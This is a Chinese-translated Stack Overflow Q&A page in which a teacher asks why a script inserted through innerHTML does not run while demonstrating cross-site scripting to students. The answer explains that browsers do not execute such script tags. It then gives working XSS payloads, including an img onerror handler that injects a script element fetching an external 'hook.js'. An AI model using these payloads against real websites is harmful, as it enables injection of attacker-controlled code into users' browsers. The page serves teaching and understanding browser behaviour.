javascript - 为什么我不能将此脚本动态写入页面?

标签 javascript browser xss

我试图向一些学生演示跨站点脚本,但讽刺的是我无法让它发挥作用!

以下两个脚本似乎什么也没做

document.body.innerHTML += `
<script src="/hook.js" defer async></s${''}cript>
`

document.body.innerHTML += `
<script>
var s = document.createElement('script')
s.setAttribute('src', '/hook.js')
document.body.appendChild(s)
</s${''}cript>
`

我可以在 devtools 中看到添加到 DOM 的节点,它看起来正确,但在我的网络选项卡中没有触发任何查询。如果我采用完全相同的代码并将其直接放入 html 中,则会触发查询。

我已经在最新的 chrome 和 firefox 中尝试过此操作

发生什么事了?这是某种抗 xss 保护吗?

最佳答案

好的,深入研究后我发现 this interesting factoid

It is not uncommon to see innerHTML used to insert text in a web page. This comes with a security risk.

    var name = "John";
    // assuming el is an HTML DOM element
    el.innerHTML = name; // harmless in this case

    // ...

name = "<script>alert('I am John in an annoying alert!')</script>";
el.innerHTML = name; // harmless in this case

Although this may look like a cross-site scripting attack, the result is harmless. HTML5 specifies that a <script> tag inserted via innerHTML should not execute.

However, there are ways to execute JavaScript without using elements, so there is still a security risk whenever you use innerHTML to set strings over which you have no control. For example:

var name = "<img src=x onerror=alert(1)>";
el.innerHTML = name; // shows the alert

For that reason, it is recommended you not use innerHTML when inserting plain text; instead, use node.textContent. This doesn't interpret the passed content as HTML, but instead inserts it as raw text.

所以听起来一切都按照预期运行(只是旧版浏览器的实现不正确)。您仍然可以触发 XSS,只是需要稍微聪明一些。

<img src="/doesntesist.png" onerror="var s = document.createElement(`script`);s.setAttribute(`src`, `http:///hook.js`); document.body.appendChild(s);" />

关于javascript - 为什么我不能将此脚本动态写入页面?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/36322139/

相关文章:

javascript - html5 canvas 和纯 Javascript/GWT 的游戏性能

python - 浏览器模拟 - Python 3

apache-flex - 如何在 Flex 中刷新应用程序?

javascript - 单击按钮时显示复选框

php - 将自定义 URL 与 ShareThis 社交分享插件一起使用

c# - 使用正则表达式防止 XSS

encoding - XSS中如何绕过客户端编码

javascript - IE 9.0 中未存储第三方 cookie

javascript - 如何在javascript中使用回调函数添加按钮单击事件作为window.confirm

安卓浏览器 : Is it possible to have a custom zoom level for my web page?